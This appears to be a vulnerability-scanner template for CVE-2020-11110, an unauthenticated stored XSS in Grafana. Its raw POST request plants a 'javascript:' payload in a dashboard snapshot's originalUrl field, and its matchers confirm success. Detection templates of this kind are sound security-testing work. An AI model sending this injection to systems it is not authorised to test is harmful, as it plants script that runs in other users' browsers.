57 lines
2.2 KiB
YAML
57 lines
2.2 KiB
YAML
id: CVE-2020-11110
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info:
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name: Grafana Unauthenticated Stored XSS
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author: emadshanab
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severity: medium
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description: Grafana through 6.7.1 allows stored XSS due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open
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Original Dashboard after visiting the snapshot.
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reference:
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- https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2020-11110
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cwe-id: CWE-79
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remediation: This issue can be resolved by updating Grafana to the latest version.
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tags: cve,cve2020,xss,grafana
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requests:
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- raw:
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- |
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POST /api/snapshots HTTP/1.1
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Host: {{Hostname}}
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Accept: application/json, text/plain, */*
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Accept-Language: en-US,en;q=0.5
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Referer: {{BaseURL}}
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content-type: application/json
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Connection: close
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{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
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matchers-condition: and
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matchers:
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- type: status
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status:
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- 200
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- type: word
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part: header
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words:
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- application/json
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- type: word
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part: body
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words:
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- '"deleteKey":'
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- '"deleteUrl":'
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condition: and
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extractors:
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- type: regex
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part: body
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group: 1
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regex:
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- '"url":"([a-z:/0-9A-Z]+)"'
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